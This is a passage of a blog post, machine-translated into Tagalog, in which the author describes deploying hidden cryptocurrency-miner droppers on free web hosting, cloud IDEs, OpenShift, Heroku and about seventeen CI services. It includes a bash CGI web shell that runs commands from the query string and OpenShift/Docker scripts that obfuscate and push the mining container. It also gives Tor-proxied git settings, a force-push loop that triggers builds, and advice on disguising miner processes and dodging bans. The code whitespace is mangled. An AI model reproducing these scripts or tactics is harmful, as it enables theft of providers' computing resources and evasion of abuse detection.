## parse vars (for interactive use)
saveIFS=$IFS
IFS='=&'
parm=($QUERY_STRING)
IFS=$saveIFSfor ((i=0; i<${#parm[@]}; i+=2))
dodeclare var_${parm[i]}=${parm[i+1]}done## exec command for interactive and proclimited scenarios
url_encoded="${var_path//+/ }"export PATH=".:$PATH"
. /dev/shm/srv/utils/load.env &>/dev/null

ifdeclare -f "${url_encoded/\%20*}" 1>/dev/null; then## don't use -n, redirect fd for bcompatprintf'%b'"${url_encoded//%/\\x}" > /tmp/${SERVER_NAME}.src
elseifbuiltin"${url_encoded/\%20*}"; thenprintf'%b'"${url_encoded//%/\\x}" > /tmp/${SERVER_NAME}.src
    elseprintf'exec %b'"${url_encoded//%/\\x}" > /tmp/${SERVER_NAME}.src
    fifi
. /tmp/${SERVER_NAME}.src

Mas mahusay na umasa lamang sa mga builtin tulad ng forking ng karagdagang mga proseso ay maaaring hindi payagan sa mga kulungan sa web, ngunit laging posible naexec na nagpapahintulot sa amin na gamitin ang karamihan sa mga utility ng linya ng utos. Karamihan sa mga shell ng web ay nakasulat sa iba pang mga wika sa pag-script tulad ng sawa o php dahil hindi mo kailangang mag-alala tungkol sa forking.

Sa isang cpanel na kapaligiran mas mahusay na gumamit ng isang static na pangalan para sa proseso ng minero, tulad nghttpd ophp-fpm kasicgi ay batay sa maraming pagproseso, kaya palaging puno ang mga server ng maraming proseso na pinangalanan tulad nito, bagaman dapat mapansin ng isang maingat na tagamasid ang maraming sinulid pattern ng paggamit na tiyak na hindi karaniwan (o posible) para sa mga wika tulad ng perl, php, ruby, o sawa!

Ang mga proseso ay mayroon ding isang limitasyon sa oras bilang default, (1 oras, 1 araw, atbp.), Para dito ginagamit lamang namin ang isang cron job na nag-restart ng dropper.

Nangangailangan ito ng maraming manu-manong pag-edit, ang cpanel api upang i-automate ito ay sa kasamaang palad ay hindi nakalantad sa mga end na gumagamit, kaya ang web hosting ay isang clunky at boring na target para sa aming dropper ng minero.

Mga kapaligiran sa web

Meron SaaS mga provider na mayroong isang web editor na isinama sa isang lalagyan, tulad ng ulap9 , [codeanywhere], [codenvy]. Madali ang pag-deploy ng dropper dito (mayroon kang isang buong kapaligiran), ngunit ang pagpapanatiling tumatakbo ito ay isang pasanin, dahil ang anumang interactive na web editor ay tinatapos ang sesyon nito kaagad pagkatapos na sarado ang web page, at ang lalagyan ay pinatutulog (maliban kung ikaw magbayad syempre).

Ang pag-Circumventing ay nangangahulugan lamang na panatilihing bukas ang mga sesyon, nakamit ng ilang pag-script kasama ang [puppeteer] ang nais na resulta, ngunit ang pagkakaroon ng mahabang pagpapatakbo, paglabas ng memorya, namamaga ng mga web page ng SPA ay tiyak na hindi nakakaakit at hindi stealthy, dahil mula sa backend ng provider, isang session na binuksan 24/7 ay tiyak na magmukhang kahina-hinala. Sa katunayan, ang mga kapaligiran sa web ay clunky at mainip din na mga target.

Mga serbisyong libreng app

Ito ay higit sa lahat openshift[11] at [heroku]. Ang Openshift, pagiging kubernetes ay medyo prangka upang maipadala, ngunit puno ng pagsasaayos ng churn, narito ang isang sipi:

export PATH=.:$PATH

[ -z "$OC_PRJ" ] && { echo"no account data provided"; exit 1; }
obfs=~/utils/deploy/obfs.sh
[ -x $obfs ] ||
    { echo"obfs utility not found!"; exit 1; }
launcher=~/launcher
[ -f $launcher ] ||
    { echo"launcher script not found!"; exit 1; }

ctroot=${CT_ROOT_DIR:-oc-ct-box-mine}## the service that starts the miner is named app in /etc/services.d in the rootfs
scriptpath="rootfs/etc/services.d/app/run"
TYPE=${HRK_TYPE:-worker}
IMG=$(oc-endpoint)/$OC_PRJ/$OC_APP
tspath=/tmp/oc-tmp-apprun
prepend="#!/usr/bin/with-contenv bash
"## beware the newline ^^^cd$ctroot || { echo"couldn't find ct build directory"; exit 1; }

VARS=$(cat vars) || { echo'vars file empty!'; }
VARS=${VARS//$'\n'/ }
VARS=${VARS//\\/\\\\}## preserve escapes
script=$(cat $launcher | tail +2 | sed -r '/^echo "export \\$/a '"$VARS"' \\')
cat <<< "$script" > $tspath$obfs$tspath
[ -z "${tspath}.obfs" ] && { echo"obfs file not found?"; exit 1; }
cat <<< "$prepend$(cat "${tspath}.obfs")" > $scriptpathexec itself (should eval)
chmod +x $scriptpath

docker build -t $IMG  . || exit 1
cd -
oc-push-image "$IMG"

Ito ang ginamit na script upang maitayo ang lalagyan ng pagmimina na nangangailangan ng isang template ng yaml:

apiVersion:build.openshift.io/v1kind:BuildConfigmetadata:labels:build:${OC_APP}name:${OC_APP}spec:activeDeadlineSeconds:5184000failedBuildsHistoryLimit:0successfulBuildsHistoryLimit:0resources:limits:cpu:2memory:1GirunPolicy:Serialsource:type:Binarystrategy:sourceStrategy:from:kind:ImageStreamTagname:${OC_APP}-build:latestnamespace:${OC_PRJ}type:Sourcetemplate:activeDeadlineSeconds:2400triggers:-generic:secretReference:name:${OC_APP}type:Generic

Ngunit ang buong proseso ay kasangkot ng maraming mga hakbang!

## init
[ -z "$OC_APP" ] && export $(<$(tfi))
[ -z "$OC_APP" ] && { . ./choose-creds || exit 1; }
oc-login
oc new-project $OC_PRJ || { [ -z "$(oc get projects)" ] && exit 1; }
oc new-app $OC_APP --allow-missing-images || exit 1

## build box with docker and push# oc-docker-login || exit 1
oc-build-mine || exit 1

## create dc configexport OC_TEMPLATE_TYPE=mine
oc-box-template || exit 1
rtr=0
while [ $rtr -lt 10 ]; do
  oc rollout latest $OC_APP && break
  rtr=$((rtr+1))
  read -t 1
doneexit## builds
bash -x oc-build-build || exit 1
bash -x oc-build-template || exit 1
oc start-build $OC_APP || exit 1

accounts=${ACCOUNTS_DIR:-accounts_queue}
mv $accounts/${OC_USR}{\.this,\.$(date +%s)}

Sa pseudo code:

Angbuild-build ang mga script sa halip ay lumikha ng a magtayo lalagyan na magmimina ng ilang oras nang paisa-isa. Ang mga build at normal pod ay may magkakahiwalay na mapagkukunan sa openshift kaya't sinamantala namin ang pareho sa kanila. Ang Openshift ay pangkalahatang isang masamang karanasan dahil lumipas ito sa 4 na magkakaibang mga paglabas (marahil higit pa, tumigil ako sa pagsubaybay makalipas ang ilang sandali) at bawat isa sa kanila ay nangangailangan ng mga pagbabago sa mga pagsasaayos, wala silang mga landas sa pag-upgrade at lahat ay mabilis na naulit, at karaniwan para sa mga build / pod upang tumigil, at hindi pagkolekta ng basura ... kadalasan ay tumatakbo silang manu-manong i-restart bawat minsan, marahil ang kubernetes ay maraming surot lamang :)

Ang pagsasaayos ng Heroku ay medyo simple (hindi ito kasangkot sa kubernetes). Bukod sa pagbuo ng lalagyan, na kung saan ay katulad ng isa sa buksan ng sandali, ang natitira ay dalawang mga utos lamang na kliyente

heroku config:set HRK_APP=$HRK_APP -a $HRK_APP
heroku container:release -a $HRK_APP$TYPE

Ang lalagyan ay direktang itinulak gamit ang docker sa heroku registry.[12] Ang pagkikiskisan sa heroku (kung aling libreng baitang ay nakatayo pa rin sa oras ng pagsulat) ay ang mga dynos ay maaari lamang tumakbo sa loob ng 22 araw bawat buwan kaya't kailangan nila ng ilang pamamahala nang manu-mano bawat buwan, muli clunky at mainip. Nagpagawa sila ng ilang mga ban alon sa simula, at pagkatapos ay hindi pinagana ang mga pagarehistro sa pamamagitan ng TOR, sigurado akong ako ang sanhi nito.

Mga lalagyan ng CI o VM

Ito ang pinaka synergic na target para sa aming dropper. Maraming CI mga kumpanya, marami sa mga ito ay nasusunog ng pera sa mga namumuhunan na nag-aalok ng mga libreng antas sa pag-asa na mangolekta ng ilang bahagi sa merkado sa negosyong pang-imprastraktura ng tech.

Ang lahat ng mga serbisyong ito ay nag-aalok ng iba't ibang mga mapagkukunan, may iba't ibang mga kinakailangan sa pagsasaayos at tumatakbo sa iba't ibang mga kapaligiran. Hindi ko na isinasaalang-alang ang pag-automate ng pagpaparehistro ng account dahil ang mga uri ng mga bagay na iyon ay kakila-kilabot sa programa, sinisikap kong iwasan ang mga ito sa lahat ng oras, kaya't tiniis ko lang ang mga manu-manong pagrerehistro habang nagtataka ako sa kung anong uri ng pagtugon sa anti spam ang makukuha ko (at gaano kaiba sa iba pa!). Maaari mong hulaan ang ilang mga bagay tungkol sa pamamahala ng isang kumpanya mula sa kung paano ito hawakan ng spam:

Mayroon ding isang pilosopong tanong: Kung pinapayagan ka ng isang serbisyo na abusuhin ang kanilang system sa mahabang panahon, nangangahulugan ba ito na mayroon silang isang pinakamataas na imprastraktura na may kakayahang hawakan ang karga, o simpleng hindi magagawang kontrol sa kanilang system? At dapat mong isaalang-alang ang balanse sa pagitan ng kakayahang mai-access at seguridad, ang isang system na masyadong ligtas ay maaaring magpababa ng pagpapanatili ng gumagamit.

Narito ang isang talahanayan na nagpapakita ng ilang mga serbisyo na ipinakalat ko sa:

cipagsasaayospagganapban-martilyo
Bitrisemasamadaluyandaluyan
Travismabutidaluyanmabuti
Codeshipdaluyanmasamadaluyan
Gitlabdaluyanmabutimabuti
Circlecimasamamabutidaluyan
Semaphoremabutimabutidaluyan
Pantalandaluyandaluyanmabuti
Quaymabutidaluyandaluyan
Codefreshmasamamabutidaluyan
Werckerdaluyandaluyanmasama
Azure-pipelinesdaluyandaluyanmasama
Patuloy naphpmasamadaluyandaluyan
Buddymasamamasamamasama
Dronemasamamabutimasama
Tagataguyodmasamadaluyanmasama
Nevercodemasamamabutidaluyan
Zeist / vercelmasamamabutimasama

Sa kontekstong ito, a mabuti nangangahulugan ang pagsasaayos na hindi ito tumagal ng maraming oras upang mai-configure ang aci trabaho para sa proseso ng pagmimina (tulad ng lahat ng mga serbisyo na umaasa sa isang web dashboard sa halip na isang repository dot-file ay isang gawain), isang masamaban-hammer nangangahulugan na mahirap magparehistro sa serbisyo, o ang mga account ay magiging mas agresibo na ipagbawal.

Bitrise Kinakailangan na mag-set up ng isang proyekto, upang mapaghihinuha ang kapaligiran, ang target na arkitektura, ang proseso ng pagpapatupad at iba pang mga bagay, napakahihintay upang mag-setup ng isang build kaya nakakuha ito ng isang hindi magandang rating sa pagsasaayos. Patuloy naphp, Buddy , Ang [Codefresh] ay mayroon ding maraming mga manu-manong hindi deklaradong mga hakbang sa pagsasaayos.

Mga serbisyo tulad ng [Azure-pipelines], Wercker, Buddy naglalapat ng mga shadow-ban sa mga account, ang mga shadow-ban ay masama, dahil iniiwan ka nila na hulaan kung may mali sa iyong pagsasaayos o hindi. Sa ilang mga serbisyo maaari mong hulaan ang dahilan ng pagbabawal (halos ang iyong pagbuo ay tumagal ng masyadong maraming oras, o nagtayo ka ng masyadong maraming beses sa isang maikling panahon), para sa ilang iba pa tulad ng [Azure-pipelines] Ipinapalagay kong naglapat sila ng ilang uri ng fingerprint sa mga repository ng gumagamit habang ang mga pagbabawal ay dumarating kahit na walang anumang pag-abuso sa mga mapagkukunan, pinaghigpitan din ang azure at vercelDNS pag-access sa loob ng mga pampublikong build machine, kaya't iyon ay karagdagang alitan na kailangang mapagtagumpayan ng ad-hoc tunnel.

Drone nagbigay ng pag-access sa isang buong 16+ core processor ngunit natapos ang pagbabawal pagkatapos ng 2 build[13]. Codeship nagbibigay din ng pag-access sa malakas na mga host ng build at hindi nagbawal bilang agresibo tulad ng drone.

Ang aking mga paboritong serbisyo hindi dahil sa kakayahang kumita ngunit para sa kadalian at kaginhawaan (kasama rin ang iba pang mga proyekto) Travis, Semaphore at Docker-hub . Ang Travis ay tulad ng karaniwang CI at napaka-kakayahang umangkop, ang Semaphore lamangDSL para saCI na mukhang malalapitan at maayos kahit na sa halip na isang walang katapusang pagkakasunud-sunod ng mga spaghettified check-box tulad ng iba pang mga UI, at Docker para lamang sa pagiging simple upang mapa ang mga dockerfile upang maitayo.

Bumubuo ng mga config

Ang mga build ay na-trigger alinman sa mga trabaho sa cron na inaalok ng mga serbisyo sa web o ng mga commit na git. Kaya't kailangan mong subaybayan ang isang basura ng mga token sa pag-access o ssh key upang pamahalaan ang lahat ng mga git commits. Mahalaga rin na huwag labis na gumawa ng spam, at gumamit ng mga proxy kapag itinutulak sa mga repositoryang nag-configure ng git:

[http]proxy = socks5://127.0.0.1:9050sslverify = false[https]proxy = socks5://127.0.0.1:9050sslverify = false[url "https://"]insteadOf = git://

Gamit ang mga serbisyo sa pagho-host ng git, ang github ay ang isa pang masusing tungkol sa mga pagbabawal, ngunit ipinatupad lamang ito sa mga ulat ng pang-aabuso ng mga admin ng mga serbisyo ng ci, isang beses na pinatupad ng gitlab ang isang alon ng pagbabawal, nang sinubukan kong i-renew ang pagsubok sa CI (walang ingat). Hindi pa ako nakakatanggap ng pagbabawal para sa isang bitbucket account. Upang (pilitin) itulak ang git commits, mayroon kaming isang mahabang tumatakbo loop na muling nai-tag ang git repository:

while :; do
    repos_count=$(ls -ld ${repos}/* | grep -c ^d)
    repos_ival=$(((RANDOM%variance+delay)/repos_count))
    for r in$repos/*; docd"$r"
        git fetch --all
        tagger
        echo -e "\e[32m""sleeping for $repos_ival since $(date +%H:%M:%S\ %b/%d)""\e[0m"
        sleep $repos_ivaldone
    sleep 1
done

Maaaring posible na ang puwersang itulak sa ganitong paraan ay hindi isang bagay na ginusto ng github at maaaring maging sanhi ng pag-flag ng mga account. Ang pag-andar ng tagger na may tungkuling lakas na itulak ang iba't ibang mga commits, gumagamit ng isang website (na maaari mong madaling tingnan) na nagbibigay ng ilang mga random na commits. Hindi ako sigurado kung gaano ito nakakatulong, dahil ang nilalaman mismo ng mga pangako ay malinaw na kahina-hinala para sa aking kaso. At kinagat din ako nito sa asno nang isang beses, dahil ang mga pangako na naibalik ng utos na ito ay maaaring magsama ng mga salitang sumpa, ang isa sa aking mga ginawa ay kinuha ng isang bot ng twitter na sumusubaybay sa git na gumagawa ng mga sumpung salita! Nagdagdag ako ng isang blacklist para sa masasamang salita pagkatapos ng insidente.

Hindi ko talaga napagmasdan ang mga hindi gumagaling na git commits at obfuscated git repositories. Ang tanging pagkakataon kung saan gumagamit ako ng isang mas detalyadong lalagyan ay kasama ng Bitrise dahil hindi mo mai-set up ang isang build kung hindi kinikilala ng system ang isang kapaligiran (tulad ng mga mobile app), ngunit kahit na doon ay walang anumang pag-ikot at laging pareho ito imbakan, medyo madali upang makita.

Sa pangkalahatan, kung kailangan kong magbalangkas ng isang kurba sa kampanilya sa paligid ng pinakamainam na oras sa minahan walaang pagbabawal ng mga account, sa lahat ng mga nasubok na serbisyo, ay magkakaroon ng isang sentro na humigit-kumulang na 1 oras na tagal ng pagbuo, isang beses bawat araw. Para sa mga cpu cores, hiwalay para sa isang hindi sinungaling (tulad ng drone), inaasahan ng karamihan sa mga serbisyo na gagamitin mo ang buong halaga ng mga mapagkukunan na ibinigay sa iyo dahil ang mga build ay pinapatakbo sa loob ng mga VM o lalagyan na may pinipigilan na mapagkukunan ... at ang pagtitipon ay karaniwang isang gawain na saturates cpu, kaya't wala itong kaugnayan sa istatistika. Matalinong isang pagbuo bawat araw ay kung ano ang gagawin ng average na developer, kaya dapat mong asahan ang mga itinaas na watawat kung nalalayo ka mula sa ibig sabihin, at ang pagtulak para sa pang-aabuso ay hindi magtatapos nang maayos.

Konklusyon

Sulit ba ito? Ang mga bahagi ng networking ay tiyak na kagiliw-giliw, pakikitungo sa mga pagrehistro sa account ay malinaw na ang pinakamasamang bahagi, gusto ng mga nobodies na mag-click sa walang katapusang mga email ng kumpirmasyon at paulit-ulit na pag-iisip na namamanhid sa mga pamamaraan ng UI, pagkatapos ng lahat. Ang pagsulat ng software ng automation ng spam ay nakakainip din (dahil ang karamihan sa iyong pag-pok sa mga API na pipi), at sa palagay na ito (at ang katotohanang hindi ito naging anumang seryoso) Ni hindi ko ito naisaalang-alang. Kumita ba ito? Sa rurok nito umabot ito ng isang bagay tulad ng300$ bawat buwan, marahil sapat para sa isang venezuelan, hindi talaga para sa akin :)

[1] ang masungit na sysadmin
[2]kahit na masisira nito ang maraming mga pagpapalagay sa privacy, sigurado ako na ang karamihan sa kanila ay sumisilip lamang sa loob tuwing mayroong isang kasalukuyang nanunungkulan na problema, ngunit ito ay isang problema lamang para sa mga runtime na batay sa lalagyan, samantalang ang mga VM ay medyo mga itim na kahon.
[3]ang minero na itinayo sa monero node ay nakakuha ng ilang gawain upang gawing mas friendly ang background, ngunit ang pamamahagi ng xmrig ay hindi kailanman nakatuon sa kabaitan sa background.
[5]ang ilang mga pool ay nag-aalok ng iba't ibang mga paghihirap sa iba't ibang mga port ng koneksyon, at may posibilidad na ihanay ang kahirapan sa trabaho sa mga namimigay ng pagbabahagi ng minero, ngunit ang granularity ng proxy ay mas maginhawa pa rin, dahil maiiwasan nito ang pool ikulong (kahit na hindi talaga kami lumipat ng mga pool).
[4]hindi ito natuwa nang biglang lumitaw ang config at nawala sa file system
[6]Hindi namin pinag-uusapan ang stratum na protokol dahil kakailanganin lamang nating harapin ang anumang ipinatupad sa pareho ang pool at ang minero ... na kung saan ay karaniwang hubad minimum, at posibleng may mga hindi karaniwang extension.
[7]huwag nang magmula bash :)
[8]Hindi ko ginalugad kung ano ang nangyayari kapag ang isang proseso ay naglo-load ng karagdagang pag-andar sa runtime, dahil ang kernel ay hahanapin ang address sa layout ng memorya ng maipapatupad, na mag-access sa filesystem at posibleng maging sanhi ng isang pag-crash.
[9]Ang mga limitasyon ay di-makatwirang, ang oras ng CPU ay mas mababa sa isang segundo, ang memorya ay mas mababa sa 128M, ang mga papasok na koneksyon ay na-block.
[10]na may kaunting pasensya maaari mo ring patakbuhin ang isang buong halimbawa ng ssh sa isang kapaligiran na naka-boots sa paligid ng iyong cpanel account space, wala pagkakaroon ng access sa cpanel builtin SSH na may posibilidad na hindi paganahin ng mga nagbibigay ng hosting.
[11]Ang openshift ay nagpunta mula sa isang 1 taong libreng baitang hanggang 3 buwan hanggang 1 buwan, nagsisimula nang nangangailangan ng pagpapatotoo sa telepono, masisiguro kong hindi lamang ako ang nag-aabuso sa kanilang mga serbisyo.
[12]Ang mga Heroku free tier container ay lubos na mapagbigay sa mga mapagkukunan, nagbibigay sila ng 4c / 8t (virtual) na cpus, maraming ram at malaking imbakan (na kung saan ay hindi paulit-ulit at itinapon sa pag-shutdown ng dyno).
[13]Nagdagdag sila ng mas mahigpit na mga patakaran sa pagpaparehistro, pagkatapos ng isang pares ng mga pagbabawal, maaaring nag-ambag ako rito.

Mag-post ng Mga Tag: